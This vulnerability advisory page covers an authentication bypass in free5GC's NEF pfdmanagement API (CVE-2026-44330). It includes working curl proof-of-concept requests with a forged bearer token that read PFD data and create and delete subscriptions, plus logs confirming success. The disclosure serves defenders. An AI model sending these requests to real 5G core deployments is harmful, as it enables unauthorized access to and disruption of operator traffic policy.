CVE-2026-44330 — nef
CRITICALCVE-2026-44330 is a critical-severity (CVSS 10) CWE-863 vulnerability in github.com/free5gc/nef. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
free5GC: NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44330.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/free5gc/nefReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.
Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/nef:v4.2.0 - Runtime NEF commit:
5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.
Code evidence (paths in free5gc/nef):
- Route group mounted without auth middleware:
NFs/nef/internal/sbi/server.go:56 - Read routes exposed at
/applicationsand/applications/:appID:NFs/nef/internal/sbi/api_pfdf.go:13 - Subscription routes exposed at
/subscriptionsand/subscriptions/:subID:NFs/nef/internal/sbi/api_pfdf.go:13 GET /applicationsqueries UDR for application PFD data:NFs/nef/internal/sbi/processor/pfdf.go:19GET /applications/:appIDqueries UDR for an application PFD:NFs/nef/internal/sbi/processor/pfdf.go:53POST /subscriptionsonly checksnotifyUriis present, then stores the subscription:NFs/nef/internal/sbi/processor/pfdf.go:83DELETE /subscriptions/:subIDremoves the subscription:NFs/nef/internal/sbi/processor/pfdf.go:110- NEF context only exposes outbound token acquisition (
GetTokenCtx); there is no inbound authorization path:NFs/nef/internal/context/nef_context.go:153
PoC
Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
- Seed an AF context (also forged-token):
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions
- Seed one PFD application entry (also forged-token):
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions
- READ PFD collection with forged token ->
200 OKreturns PFD data:
curl -i -H 'Authorization: Bearer not-a-real-token' \
'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'
- READ individual PFD with forged token ->
200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311
- CREATE PFD subscription with forged token ->
201 Created:
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions
- DELETE PFD subscription with forged token ->
204 No Content:
curl -i -X DELETE \
-H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1
NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes:
[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=...
[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/...
[INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2]
[INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions
[INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1
Impact
Missing inbound authentication (CWE-306) and authorization (CWE-862) on the nnef-pfdmanagement SBI route group. This is the production-intended PFD service for NEF (declared in the runtime ServiceList), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can:
- Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF.
- Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen
notifyUriendpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.
The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/free5gc/nef | all versions | No fix |
Affected Products
free5gcfree5gcDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/nef, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of github.com/free5gc/nef for CVE-2026-44330. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-44330 in your dependencies?
Find it across Go, including transitive dependencies.